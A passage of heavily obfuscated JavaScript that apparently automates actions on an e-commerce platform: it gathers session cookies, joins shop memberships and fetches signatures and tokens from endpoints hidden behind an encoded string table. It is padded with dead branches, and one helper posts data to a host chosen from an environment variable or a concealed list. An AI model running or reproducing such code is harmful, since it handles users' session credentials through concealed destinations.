Object[_0xf8d7('‫4')](lz_cookie)){cookie+=_0x20fdf6[_0xf8d7('‫1bc')](_0x20fdf6[_0xf8d7('‮1bd')](_0x20fdf6[_0xf8d7('‮1bd')](_0x93ce30,'='),lz_cookie[_0x93ce30]),';');}}}else{for(let _0x2d932f of _0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‫1b1')]]){cookie=''+cookie+_0x2d932f[_0xf8d7('‮67')](';')[0x0]+';';}}}else{for(let _0x527c35 of _0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‮1be')]][_0xf8d7('‮67')](',')){if(_0x414dfb[_0xf8d7('‫1bf')](_0x414dfb[_0xf8d7('‮1c0')],_0x414dfb[_0xf8d7('‮1c1')])){cookie=''+cookie+_0x527c35[_0xf8d7('‮67')](';')[0x0]+';';}else{if(_0x24b28e){console[_0xf8d7('‫a')](''+JSON[_0xf8d7('‫1c2')](_0x24b28e));console[_0xf8d7('‫a')]($[_0xf8d7('‮2b')]+_0xf8d7('‮1c3'));}else{}}}}}if(_0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‮1be')]]){if(_0x414dfb[_0xf8d7('‮1b6')](_0x414dfb[_0xf8d7('‮1c4')],_0x414dfb[_0xf8d7('‫1c5')])){$[_0xf8d7('‫131')](e,_0x2d413e);}else{cookie=''+originCookie;if($[_0xf8d7('‫1')]()){for(let _0x39a701 of _0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‫1b1')]]){if(_0x414dfb[_0xf8d7('‮1c6')](_0x414dfb[_0xf8d7('‮1c7')],_0x414dfb[_0xf8d7('‮1c8')])){for(let _0x48a7e5 of _0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‫1b1')]]){cookie=''+cookie+_0x48a7e5[_0xf8d7('‮67')](';')[0x0]+';';}}else{cookie=''+cookie+_0x39a701[_0xf8d7('‮67')](';')[0x0]+';';}}}else{for(let _0x2ebc5f of _0x2d413e[_0x414dfb[_0xf8d7('‮1b0')]][_0x414dfb[_0xf8d7('‮1be')]][_0xf8d7('‮67')](',')){cookie=''+cookie+_0x2ebc5f[_0xf8d7('‮67')](';')[0x0]+';';}}}}$[_0xf8d7('‫f')]=cookie;}}}catch(_0x2c01dc){console[_0xf8d7('‫a')](_0x2c01dc);}finally{if(_0x414dfb[_0xf8d7('‮1c6')](_0x414dfb[_0xf8d7('‮1c9')],_0x414dfb[_0xf8d7('‮1c9')])){_0x414dfb[_0xf8d7('‫1ca')](_0x225e14);}else{_0x414dfb[_0xf8d7('‮1cb')](_0x225e14,_0x143b72);}}});}});}function random(_0x344aa2,_0x4648a2){var _0x5e6d62={'tihPt':function(_0xbe5b07,_0x6ec579){return _0xbe5b07+_0x6ec579;},'yAGmu':function(_0x2275dc,_0x441cb2){return _0x2275dc*_0x441cb2;},'lPfaj':function(_0x3a455f,_0x3be93b){return _0x3a455f-_0x3be93b;}};return _0x5e6d62[_0xf8d7('‫1cc')](Math[_0xf8d7('‮1a9')](_0x5e6d62[_0xf8d7('‫1cd')](Math[_0xf8d7('‮11e')](),_0x5e6d62[_0xf8d7('‮1ce')](_0x4648a2,_0x344aa2))),_0x344aa2);}function getUUID(_0x4b73d8=_0xf8d7('‮1b'),_0x39bed7=0x0){var _0x25053b={'fpoVB':_0xf8d7('‫14'),'wvGJX':_0xf8d7('‫f6'),'bqWpb':function(_0x3fe9af,_0x352f51){return _0x3fe9af+_0x352f51;},'fWDvS':function(_0x5317d,_0x58c108){return _0x5317d+_0x58c108;},'tKOeg':function(_0xd63b01,_0x4e2379){return _0xd63b01|_0x4e2379;},'KDAKM':function(_0x198d19,_0x5c935c){return _0x198d19*_0x5c935c;},'UUWGy':function(_0x1fe4f5,_0x5814c9){return _0x1fe4f5==_0x5814c9;},'TiMtA':function(_0x244361,_0x5a4914){return _0x244361&_0x5a4914;},'frjwx':function(_0x580f36,_0x12301d){return _0x580f36!==_0x12301d;},'hPmUt':_0xf8d7('‮1cf')};return _0x4b73d8[_0xf8d7('‮11b')](/[xy]/g,function(_0x4f84ed){var _0x395147=_0x25053b[_0xf8d7('‫1d0')](_0x25053b[_0xf8d7('‮1d1')](Math[_0xf8d7('‮11e')](),0x10),0x0),_0x24f9b5=_0x25053b[_0xf8d7('‫1d2')](_0x4f84ed,'x')?_0x395147:_0x25053b[_0xf8d7('‫1d0')](_0x25053b[_0xf8d7('‫1d3')](_0x395147,0x3),0x8);if(_0x39bed7){if(_0x25053b[_0xf8d7('‮1d4')](_0x25053b[_0xf8d7('‮1d5')],_0x25053b[_0xf8d7('‮1d5')])){cookie=originCookie+';';for(let _0xd91070 of resp[_0x25053b[_0xf8d7('‮1d6')]][_0x25053b[_0xf8d7('‮1d7')]]){lz_cookie[_0xd91070[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](0x0,_0xd91070[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='))]=_0xd91070[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‫116')](_0x25053b[_0xf8d7('‮1d8')](_0xd91070[_0xf8d7('‮67')](';')[0x0][_0xf8d7('‮117')]('='),0x1));}for(const _0x4f6f80 of Object[_0xf8d7('‫4')](lz_cookie)){cookie+=_0x25053b[_0xf8d7('‮1d8')](_0x25053b[_0xf8d7('‫1d9')](_0x25053b[_0xf8d7('‫1d9')](_0x4f6f80,'='),lz_cookie[_0x4f6f80]),';');}}else{uuid=_0x24f9b5[_0xf8d7('‮e2')](0x24)[_0xf8d7('‮e3')]();}}else{uuid=_0x24f9b5[_0xf8d7('‮e2')](0x24);}return uuid;});}function checkCookie(){var _0x16197b={'efayF':function(_0x49ec0a){return _0x49ec0a();},'nhbMz':_0xf8d7('‫70'),'IRHSN':function(_0x16348a,_0x4b5a65){return _0x16348a!==_0x4b5a65;},'nkobe':_0xf8d7('‮1da'),'TOjEX':_0xf8d7('‫1db'),'geARA':function(_0x3f2395,_0x41652a){return _0x3f2395===_0x41652a;},'GIaSs':_0xf8d7('‮1dc'),'Exgke':_0xf8d7('‫1dd'),'KXwQo':function(_0x587c90,_0x5791c0){return _0x587c90!==_0x5791c0;},'CQzem':_0xf8d7('‫1de'),'zctkn':function(_0x404d3e,_0x46247d){return _0x404d3e===_0x46247d;},'oqsgj':_0xf8d7('‮1df'),'lASxq':_0xf8d7('‮1e0'),'JVDwc':function(_0x5630e5){return _0x5630e5();},'BLmSB':_0xf8d7('‫1e1'),'yocLV':_0xf8d7('‮1e2'),'qtkPa':_0xf8d7('‫1e3'),'MdwwM':_0xf8d7('‫1e4'),'xjXam':_0xf8d7('‫1e5'),'UkDtN':_0xf8d7('‮aa'),'kxSuN':_0xf8d7('‮1e6'),'MGsFV':_0xf8d7('‮a6'),'DycgB':_0xf8d7('‮1e7'),'NMkUw':_0xf8d7('‮a7')};const _0x304cb5={'url':_0x16197b[_0xf8d7('‫1e8')],'headers':{'Host':_0x16197b[_0xf8d7('‮1e9')],'Accept':_0x16197b[_0xf8d7('‫1ea')],'Connection':_0x16197b[_0xf8d7('‮1eb')],'Cookie':cookie,'User-Agent':_0x16197b[_0xf8d7('‫1ec')],'Accept-Language':_0x16197b[_0xf8d7('‫1ed')],'Referer':_0x16197b[_0xf8d7('‮1ee')],'Accept-Encoding':_0x16197b[_0xf8d7('‮1ef')]}};return new Promise(_0x30ab3a=>{var _0x4916f3={'ihREO':function(_0x28035){return _0x16197b[_0xf8d7('‫1f0')](_0x28035);},'eOeNh':_0x16197b[_0xf8d7('‫1f1')],'toWxc':function(_0x338d2e,_0x1320b4){return _0x16197b[_0xf8d7('‮1f2')](_0x338d2e,_0x1320b4);},'QMmhT':_0x16197b[_0xf8d7('‮1f3')],'troPU':_0x16197b[_0xf8d7('‮1f4')],'OYaIM':function(_0x6372ed,_0x486231){return _0x16197b[_0xf8d7('‮1f5')](_0x6372ed,_0x486231);},'DEhbz':_0x16197b[_0xf8d7('‫1f6')],'McvNt':function(_0x6da794,_0x23646e){return _0x16197b[_0xf8d7('‮1f5')](_0x6da794,_0x23646e);},'pGExC':_0x16197b[_0xf8d7('‮1f7')],'KvdfJ':function(_0x2f3b48,_0x10f037){return _0x16197b[_0xf8d7('‫1f8')](_0x2f3b48,_0x10f037);},'bhEwq':_0x16197b[_0xf8d7('‫1f9')],'EFkPq':function(_0x67b0a4,_0x1db962){return _0x16197b[_0xf8d7('‫1fa')](_0x67b0a4,_0x1db962);},'lfnWU':_0x16197b[_0xf8d7('‮1fb')],'oRfGs':_0x16197b[_0xf8d7('‫1fc')],'aHyPy':function(_0x8b6ebc){return _0x16197b[_0xf8d7('‫1fd')](_0x8b6ebc);}};if(_0x16197b[_0xf8d7('‫1fa')](_0x16197b[_0xf8d7('‫1fe')],_0x16197b[_0xf8d7('‮1ff')])){_0x4916f3[_0xf8d7('‮200')](_0x30ab3a);}else{$[_0xf8d7('‮12d')](_0x304cb5,(_0x5aa800,_0x5e669d,_0xc5472e)=>{try{if(_0x4916f3[_0xf8d7('‫201')](_0x4916f3[_0xf8d7('‫202')],_0x4916f3[_0xf8d7('‫203')])){if(_0x5aa800){$[_0xf8d7('‫131')](_0x5aa800);}else{if(_0xc5472e){if(_0x4916f3[_0xf8d7('‫204')](_0x4916f3[_0xf8d7('‮205')],_0x4916f3[_0xf8d7('‮205')])){_0xc5472e=JSON[_0xf8d7('‫d')](_0xc5472e);if(_0x4916f3[_0xf8d7('‫206')](_0xc5472e[_0xf8d7('‫207')],_0x4916f3[_0xf8d7('‫208')])){if(_0x4916f3[_0xf8d7('‫209')](_0x4916f3[_0xf8d7('‮20a')],_0x4916f3[_0xf8d7('‮20a')])){console[_0xf8d7('‫a')](res);$[_0xf8d7('‮20b')]=res[_0xf8d7('‮20c')];}else{$[_0xf8d7('‫38')]=![];return;}}if(_0x4916f3[_0xf8d7('‮20d')](_0xc5472e[_0xf8d7('‫207')],'0')&&_0xc5472e[_0xf8d7('‮dd')][_0xf8d7('‮20e')](_0x4916f3[_0xf8d7('‮20f')])){$[_0xf8d7('‮39')]=_0xc5472e[_0xf8d7('‮dd')][_0xf8d7('‮1df')][_0xf8d7('‫210')][_0xf8d7('‫17b')];}}else{console[_0xf8d7('‫a')](_0x5aa800);}}else{$[_0xf8d7('‫a')](_0x4916f3[_0xf8d7('‮211')]);}}}else{$[_0xf8d7('‫a')](_0x4916f3[_0xf8d7('‮211')]);}}catch(_0x5bf29d){$[_0xf8d7('‫131')](_0x5bf29d);}finally{if(_0x4916f3[_0xf8d7('‮20d')](_0x4916f3[_0xf8d7('‮212')],_0x4916f3[_0xf8d7('‮212')])){_0x4916f3[_0xf8d7('‮213')](_0x30ab3a);}else{console[_0xf8d7('‫a')](error);}}});}});}function getShopOpenCardInfo(_0x108371,_0x472823){var _0x153b19={'etZFF':function(_0x5b9273){return _0x5b9273();},'xQTWv':_0xf8d7('‫14'),'wRcFg':_0xf8d7('‫f6'),'asvtI':function(_0x5d58e3,_0x493bb9){return _0x5d58e3===_0x493bb9;},'VacGv':_0xf8d7('‫1dd'),'RBxZO':function(_0xc4df57,_0x892160){return _0xc4df57===_0x892160;},'VPBjC':_0xf8d7('‮1df'),'QAken':function(_0x1a6355,_0x468767){return _0x1a6355!==_0x468767;},'fWioz':_0xf8d7('‫214'),'VRZvN':_0xf8d7('‫215'),'DDJQx':_0xf8d7('‮216'),'chTfp':_0xf8d7('‮217'),'uKEWo':function(_0x1caf07,_0x1bd37f){return _0x1caf07!==_0x1bd37f;},'OWgKg':_0xf8d7('‮218'),'sGlQR':function(_0x176ef3,_0x508721){return _0x176ef3===_0x508721;},'lWrkR':_0xf8d7('‮219'),'jXAtG':_0xf8d7('‫21a'),'cfOLR':_0xf8d7('‮21b'),'OVjIg':_0xf8d7('‮21c'),'uqoZd':function(_0x1d91dd,_0x233461){return _0x1d91dd(_0x233461);},'eQVef':_0xf8d7('‮21d'),'zAgOg':_0xf8d7('‫1e5'),'NIJlL':_0xf8d7('‮aa'),'BOoZP':_0xf8d7('‮a6'),'Gyodd':function(_0x5cfe0b,_0x35ddb6){return _0x5cfe0b(_0x35ddb6);},'xtlFQ':_0xf8d7('‮a7')};let _0x57364d={'url':_0xf8d7('‮21e')+_0x153b19[_0xf8d7('‮21f')](encodeURIComponent,JSON[_0xf8d7('‫1c2')](_0x108371))+_0xf8d7('‮220'),'headers':{'Host':_0x153b19[_0xf8d7('‫221')],'Accept':_0x153b19[_0xf8d7('‮222')],'Connection':_0x153b19[_0xf8d7('‫223')],'Cookie':cookie,'User-Agent':_0xf8d7('‫ed')+$[_0xf8d7('‮44')]+_0xf8d7('‫ee')+$[_0xf8d7('‮41')]+_0xf8d7('‫ef'),'Accept-Language':_0x153b19[_0xf8d7('‮224')],'Referer':_0xf8d7('‫225')+_0x472823+_0xf8d7('‫226')+_0x153b19[_0xf8d7('‫227')](encodeURIComponent,$[_0xf8d7('‫56')]),'Accept-Encoding':_0x153b19[_0xf8d7('‫228')]}};return new Promise(_0x16c0a3=>{var _0x586a7b={'qGpPZ':function(_0xe6c855){return _0x153b19[_0xf8d7('‫229')](_0xe6c855);},'OGtEU':_0x153b19[_0xf8d7('‮22a')],'yREYP':_0x153b19[_0xf8d7('‮22b')],'SMYbC':function(_0x1f92c4,_0x4ff4c5){return _0x153b19[_0xf8d7('‫22c')](_0x1f92c4,_0x4ff4c5);},'wKljB':_0x153b19[_0xf8d7('‫22d')],'pKuFP':function(_0x3b00e5,_0x392f8f){return _0x153b19[_0xf8d7('‫22e')](_0x3b00e5,_0x392f8f);},'Tzvtr':_0x153b19[_0xf8d7('‫22f')],'XaVqn':function(_0x41a992,_0x4bb1f9){return _0x153b19[_0xf8d7('‮230')](_0x41a992,_0x4bb1f9);},'ZzICJ':_0x153b19[_0xf8d7('‮231')],'NUhEb':_0x153b19[_0xf8d7('‮232')],'VsmVx':_0x153b19[_0xf8d7('‫233')],'WAANY':_0x153b19[_0xf8d7('‫234')],'xKEbz':function(_0x236576,_0x53c812){return _0x153b19[_0xf8d7('‫235')](_0x236576,_0x53c812);},'OMYuw':_0x153b19[_0xf8d7('‮236')],'dIPQo':function(_0x12b852,_0x466dd2){return _0x153b19[_0xf8d7('‮237')](_0x12b852,_0x466dd2);},'CyfLR':_0x153b19[_0xf8d7('‮238')],'bVZLs':_0x153b19[_0xf8d7('‫239')],'KnFkg':_0x153b19[_0xf8d7('‮23a')],'wSsQA':_0x153b19[_0xf8d7('‫23b')]};$[_0xf8d7('‮12d')](_0x57364d,(_0x4bd3d2,_0x2f467d,_0x45c50c)=>{var _0x249ec3={'SIGGp':function(_0x5c3d9a,_0x1b2fcc){return _0x586a7b[_0xf8d7('‫23c')](_0x5c3d9a,_0x1b2fcc);},'bQcQr':_0x586a7b[_0xf8d7('‫23d')],'EXreN':function(_0x5033f4,_0x444aad){return _0x586a7b[_0xf8d7('‮23e')](_0x5033f4,_0x444aad);},'xUKqw':_0x586a7b[_0xf8d7('‫23f')],'CQWwF':_0x586a7b[_0xf8d7('‮240')],'gGpLT':_0x586a7b[_0xf8d7('‫241')]};try{if(_0x586a7b[_0xf8d7('‫242')](_0x586a7b[_0xf8d7('‮243')],_0x586a7b[_0xf8d7('‮244')])){if(_0x4bd3d2){if(_0x586a7b[_0xf8d7('‫242')](_0x586a7b[_0xf8d7('‮245')],_0x586a7b[_0xf8d7('‮245')])){_0x45c50c=JSON[_0xf8d7('‫d')](_0x45c50c);if(_0x249ec3[_0xf8d7('‫246')](_0x45c50c[_0xf8d7('‫207')],_0x249ec3[_0xf8d7('‮247')])){$[_0xf8d7('‫38')]=![];return;}if(_0x249ec3[_0xf8d7('‮248')](_0x45c50c[_0xf8d7('‫207')],'0')&&_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‮20e')](_0x249ec3[_0xf8d7('‮249')])){$[_0xf8d7('‮39')]=_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‮1df')][_0xf8d7('‫210')][_0xf8d7('‫17b')];}}else{console[_0xf8d7('‫a')](_0x4bd3d2);}}else{if(_0x586a7b[_0xf8d7('‫242')](_0x586a7b[_0xf8d7('‮24a')],_0x586a7b[_0xf8d7('‮24a')])){_0x45c50c=JSON[_0xf8d7('‫d')](_0x45c50c);if(_0x45c50c[_0xf8d7('‫d6')]){$[_0xf8d7('‫a')](_0xf8d7('‮17a')+_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫17b')]);$[_0xf8d7('‫17c')]=_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫17b')];$[_0xf8d7('‫5c')]=_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫5c')];cookie=cookie+_0xf8d7('‫17d')+_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫5c')];}else{$[_0xf8d7('‫a')](_0x45c50c[_0xf8d7('‮17e')]);}}else{res=JSON[_0xf8d7('‫d')](_0x45c50c);if(res[_0xf8d7('‫24b')]){if(res[_0xf8d7('‫d6')][_0xf8d7('‫24c')]){if(_0x586a7b[_0xf8d7('‫24d')](_0x586a7b[_0xf8d7('‮24e')],_0x586a7b[_0xf8d7('‮24e')])){$[_0xf8d7('‫a')](_0xf8d7('‮17a')+_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫17b')]);$[_0xf8d7('‫17c')]=_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫17b')];$[_0xf8d7('‫5c')]=_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫5c')];cookie=cookie+_0xf8d7('‫17d')+_0x45c50c[_0xf8d7('‮dd')][_0xf8d7('‫5c')];}else{$[_0xf8d7('‮7c')]=res[_0xf8d7('‫d6')][_0xf8d7('‫24c')][0x0][_0xf8d7('‫24f')][_0xf8d7('‮52')];}}}}}}else{_0x586a7b[_0xf8d7('‮250')](_0x16c0a3);}}catch(_0x1080fc){if(_0x586a7b[_0xf8d7('‫251')](_0x586a7b[_0xf8d7('‮252')],_0x586a7b[_0xf8d7('‮253')])){for(let _0x5b5473 of _0x2f467d[_0x586a7b[_0xf8d7('‮240')]][_0x586a7b[_0xf8d7('‫241')]]){cookie=''+cookie+_0x5b5473[_0xf8d7('‮67')](';')[0x0]+';';}}else{console[_0xf8d7('‫a')](_0x1080fc);}}finally{if(_0x586a7b[_0xf8d7('‫251')](_0x586a7b[_0xf8d7('‮254')],_0x586a7b[_0xf8d7('‮255')])){for(let _0x2fa1f1 of _0x2f467d[_0x249ec3[_0xf8d7('‮256')]][_0x249ec3[_0xf8d7('‫257')]]){cookie=''+cookie+_0x2fa1f1[_0xf8d7('‮67')](';')[0x0]+';';}}else{_0x586a7b[_0xf8d7('‮250')](_0x16c0a3);}}});});}async function bindWithVender(_0x463c84,_0x5239ec){var _0x4ccf01={'HzYZo':function(_0x36395d,_0x41a47f){return _0x36395d===_0x41a47f;},'pBJMg':_0xf8d7('‮258'),'BBcqw':_0xf8d7('‮259'),'CnxTm':function(_0x778443,_0x3d61b1){return _0x778443!==_0x3d61b1;},'kAHDi':_0xf8d7('‫25a'),'MoFmu':_0xf8d7('‮25b'),'DKDXF':function(_0x41e000){return _0x41e000();},'SjeIu':function(_0x22ccc3,_0x280d0d,_0xeec80){return _0x22ccc3(_0x280d0d,_0xeec80);},'UIyJn':_0xf8d7('‫25c'),'KnJxL':_0xf8d7('‮21d'),'Yzffe':_0xf8d7('‫1e5'),'iTifb':_0xf8d7('‮aa'),'pKFjv':_0xf8d7('‮a6'),'lEbSz':function(_0x5a7901,_0x1277c8){return _0x5a7901(_0x1277c8);},'YkXPz':_0xf8d7('‮a7')};return h5st=await _0x4ccf01[_0xf8d7('‫25d')](geth5st,_0x4ccf01[_0xf8d7('‫25e')],_0x463c84),opt={'url':_0xf8d7('‫25f')+h5st,'headers':{'Host':_0x4ccf01[_0xf8d7('‮260')],'Accept':_0x4ccf01[_0xf8d7('‫261')],'Connection':_0x4ccf01[_0xf8d7('‮262')],'Cookie':cookie,'User-Agent':_0xf8d7('‫ed')+$[_0xf8d7('‮44')]+_0xf8d7('‫ee')+$[_0xf8d7('‮41')]+_0xf8d7('‫ef'),'Accept-Language':_0x4ccf01[_0xf8d7('‮263')],'Referer':_0xf8d7('‫225')+_0x5239ec+_0xf8d7('‫264')+_0x4ccf01[_0xf8d7('‮265')](encodeURIComponent,$[_0xf8d7('‫56')]),'Accept-Encoding':_0x4ccf01[_0xf8d7('‮266')]}},new Promise(_0x52b8fb=>{var _0x5a9c2b={'TMcPN':function(_0x4b754a,_0x523e6f){return _0x4ccf01[_0xf8d7('‫267')](_0x4b754a,_0x523e6f);},'jndMp':_0x4ccf01[_0xf8d7('‮268')],'YNEGA':_0x4ccf01[_0xf8d7('‫269')],'DsTYZ':function(_0x372abf,_0x35e96f){return _0x4ccf01[_0xf8d7('‫26a')](_0x372abf,_0x35e96f);},'ZFVdB':_0x4ccf01[_0xf8d7('‫26b')],'qBduP':_0x4ccf01[_0xf8d7('‫26c')],'HyLBm':function(_0x17c512){return _0x4ccf01[_0xf8d7('‫26d')](_0x17c512);}};$[_0xf8d7('‮12d')](opt,(_0x5c3339,_0x29309d,_0x1d26bb)=>{try{if(_0x5c3339){if(_0x5a9c2b[_0xf8d7('‫26e')](_0x5a9c2b[_0xf8d7('‫26f')],_0x5a9c2b[_0xf8d7('‮270')])){cookie=''+cookie+ck[_0xf8d7('‮67')](';')[0x0]+';';}else{console[_0xf8d7('‫a')](_0x5c3339);}}else{if(_0x5a9c2b[_0xf8d7('‫271')](_0x5a9c2b[_0xf8d7('‮272')],_0x5a9c2b[_0xf8d7('‮273')])){res=JSON[_0xf8d7('‫d')](_0x1d26bb);if(res[_0xf8d7('‫24b')]){console[_0xf8d7('‫a')](res);$[_0xf8d7('‮20b')]=res[_0xf8d7('‮20c')];}}else{cookie=''+cookie+sk[_0xf8d7('‮67')](';')[0x0]+';';}}}catch(_0x9bb662){console[_0xf8d7('‫a')](_0x9bb662);}finally{_0x5a9c2b[_0xf8d7('‫274')](_0x52b8fb);}});});}function geth5st(_0x3f945e,_0x7ddc53){var _0x5834e2={'zzOSb':function(_0x356c38,_0x49c194){return _0x356c38(_0x49c194);},'xyayW':_0xf8d7('‮275'),'STHKj':_0xf8d7('‮276'),'VBMmg':_0xf8d7('‮277'),'vcNFH':_0xf8d7('‫278'),'WvxdA':function(_0x266cee,_0x141c86){return _0x266cee===_0x141c86;},'ReebH':_0xf8d7('‫279'),'RmkzS':_0xf8d7('‮27a'),'ciLBJ':function(_0x4e1dc7,_0x2d659e){return _0x4e1dc7*_0x2d659e;},'weJTq':_0xf8d7('‫a4')};return new Promise(async _0x5179ee=>{let _0x2767d9={'appId':_0x5834e2[_0xf8d7('‫27b')],'body':{'appid':_0x5834e2[_0xf8d7('‮27c')],'functionId':_0x3f945e,'body':JSON[_0xf8d7('‫1c2')](_0x7ddc53),'clientVersion':_0x5834e2[_0xf8d7('‮27d')],'client':'H5','activityId':$[_0xf8d7('‮52')]},'callbackAll':!![]};let _0xd37a86='';let _0x5ae6ad=[_0x5834e2[_0xf8d7('‫27e')]];if(process[_0xf8d7('‫7')][_0xf8d7('‫f3')]){if(_0x5834e2[_0xf8d7('‫27f')](_0x5834e2[_0xf8d7('‮280')],_0x5834e2[_0xf8d7('‮281')])){$[_0xf8d7('‫131')](err);}else{_0xd37a86=process[_0xf8d7('‫7')][_0xf8d7('‫f3')];}}else{_0xd37a86=_0x5ae6ad[Math[_0xf8d7('‮1a9')](_0x5834e2[_0xf8d7('‮282')](Math[_0xf8d7('‮11e')](),_0x5ae6ad[_0xf8d7('‫2f')]))];}let _0x2c96bc={'url':_0xf8d7('‮283'),'body':JSON[_0xf8d7('‫1c2')](_0x2767d9),'headers':{'Host':_0xd37a86,'Content-Type':_0x5834e2[_0xf8d7('‮284')]},'timeout':_0x5834e2[_0xf8d7('‮282')](0x1e,0x3e8)};$[_0xf8d7('‫cc')](_0x2c96bc,async(_0x5b26ea,_0x1bdc8c,_0x2767d9)=>{try{if(_0x5b26ea){_0x2767d9=await geth5st[_0xf8d7('‮285')](this,arguments);}else{}}catch(_0x5f4e1e){$[_0xf8d7('‫131')](_0x5f4e1e,_0x1bdc8c);}finally{_0x5834e2[_0xf8d7('‫286')](_0x5179ee,_0x2767d9);}});});}async function getToken(){var _0x1c1802={'yFFet':function(_0x12ba48,_0x177224){return _0x12ba48===_0x177224;},'HFGAY':_0xf8d7('‫287'),'EnjJR':_0xf8d7('‫70'),'FLGFv':function(_0x57406c,_0x171084){return _0x57406c!==_0x171084;},'byrSM':_0xf8d7('‫288'),'ApGjh':function(_0x434156){return _0x434156();},'oLhnZ':_0xf8d7('‫16'),'Eemjz':_0xf8d7('‮17'),'dUqVe':function(_0x537584,_0x2545f1){return _0x537584===_0x2545f1;},'eHRNs':_0xf8d7('‫289'),'VmXjh':function(_0x513c93,_0x16ab23,_0x2f0c24){return _0x513c93(_0x16ab23,_0x2f0c24);},'vtxoD':_0xf8d7('‫28a'),'XlnPK':_0xf8d7('‮28b'),'vbtdA':_0xf8d7('‮21d'),'UELJc':_0xf8d7('‫a8'),'skAQp':_0xf8d7('‫1e5'),'bdpwu':_0xf8d7('‮aa'),'dLVax':_0xf8d7('‫28c'),'pDhFG':_0xf8d7('‮28d'),'pkkiV':_0xf8d7('‮a7')};let _0x3701e0=await _0x1c1802[_0xf8d7('‫28e')](getSign,_0x1c1802[_0xf8d7('‮28f')],{'id':'','url':_0x1c1802[_0xf8d7('‫290')]});let _0x1e04c6={'url':_0xf8d7('‫291'),'headers':{'Host':_0x1c1802[_0xf8d7('‮292')],'Content-Type':_0x1c1802[_0xf8d7('‫293')],'Accept':_0x1c1802[_0xf8d7('‫294')],'Connection':_0x1c1802[_0xf8d7('‮295')],'Cookie':cookie,'User-Agent':_0x1c1802[_0xf8d7('‮296')],'Accept-Language':_0x1c1802[_0xf8d7('‮297')],'Accept-Encoding':_0x1c1802[_0xf8d7('‫298')]},'body':_0x3701e0};return new Promise(_0x262302=>{var _0x365fb6={'FKrYi':_0x1c1802[_0xf8d7('‮299')],'hmSTL':_0x1c1802[_0xf8d7('‫29a')]};if(_0x1c1802[_0xf8d7('‫29b')](_0x1c1802[_0xf8d7('‮29c')],_0x1c1802[_0xf8d7('‮29c')])){$[_0xf8d7('‫cc')](_0x1e04c6,(_0x355a6f,_0x585f54,_0xb72035)=>{try{if(_0x355a6f){$[_0xf8d7('‫a')](_0x355a6f);}else{if(_0xb72035){_0xb72035=JSON[_0xf8d7('‫d')](_0xb72035);if(_0x1c1802[_0xf8d7('‫29d')](_0xb72035[_0xf8d7('‫136')],'0')){if(_0x1c1802[_0xf8d7('‫29d')](_0x1c1802[_0xf8d7('‫29e')],_0x1c1802[_0xf8d7('‫29e')])){$[_0xf8d7('‮7b')]=_0xb72035[_0xf8d7('‮7b')];}else{$[_0xf8d7('‮2a')]($[_0xf8d7('‮2b')],_0x365fb6[_0xf8d7('‮29f')],_0x365fb6[_0xf8d7('‮2a0')],{'open-url':_0x365fb6[_0xf8d7('‮2a0')]});return;}}}else{$[_0xf8d7('‫a')](_0x1c1802[_0xf8d7('‫2a1')]);}}}catch(_0x587d1f){$[_0xf8d7('‫a')](_0x587d1f);}finally{if(_0x1c1802[_0xf8d7('‫2a2')](_0x1c1802[_0xf8d7('‫2a3')],_0x1c1802[_0xf8d7('‫2a3')])){console[_0xf8d7('‫a')](error);}else{_0x1c1802[_0xf8d7('‫2a4')](_0x262302);}}});}else{if(res[_0xf8d7('‫d6')][_0xf8d7('‫24c')]){$[_0xf8d7('‮7c')]=res[_0xf8d7('‫d6')][_0xf8d7('‫24c')][0x0][_0xf8d7('‫24f')][_0xf8d7('‮52')];}}});}function getSign(_0x1a5bcc,_0x41f35a){var _0x30c8d7={'peiRO':function(_0x556468,_0xa6fec6){return _0x556468+_0xa6fec6;},'SFSBv':function(_0x1e8c6d,_0x1a3435){return _0x1e8c6d!==_0x1a3435;},'qWTaH':_0xf8d7('‮2a5'),'OiJvU':_0xf8d7('‮2a6'),'FrKqs':function(_0x4ff80b,_0x2a2ae9){return _0x4ff80b(_0x2a2ae9);},'PKGgZ':_0xf8d7('‫2a7'),'xueRL':_0xf8d7('‮2a8'),'fAZUj':_0xf8d7('‫278'),'YFuiR':function(_0x54c5b4,_0x3e0a8e){return _0x54c5b4!==_0x3e0a8e;},'XpqQa':_0xf8d7('‮2a9'),'UZHol':_0xf8d7('‫2aa'),'OyEjq':_0xf8d7('‫2ab'),'eiXol':function(_0x4b8b89,_0x4f63f6){return _0x4b8b89*_0x4f63f6;},'dGOEr':_0xf8d7('‫125'),'tmiSF':function(_0x387cd,_0x22004c){return _0x387cd*_0x22004c;}};return new Promise(async _0x22fd50=>{var _0x3aba03={'LbdrI':function(_0xcb381d,_0x4ffb){return _0x30c8d7[_0xf8d7('‮2ac')](_0xcb381d,_0x4ffb);},'TLNuy':function(_0x3bd156,_0x8b514){return _0x30c8d7[_0xf8d7('‮2ad')](_0x3bd156,_0x8b514);},'yJQKG':_0x30c8d7[_0xf8d7('‫2ae')],'QIRLO':_0x30c8d7[_0xf8d7('‮2af')],'ILINr':function(_0x2f0bf4,_0x248b90){return _0x30c8d7[_0xf8d7('‫2b0')](_0x2f0bf4,_0x248b90);}};let _0xe49ded={'functionId':_0x1a5bcc,'body':JSON[_0xf8d7('‫1c2')](_0x41f35a),'client':_0x30c8d7[_0xf8d7('‮2b1')],'clientVersion':_0x30c8d7[_0xf8d7('‮2b2')]};let _0xe74695='';let 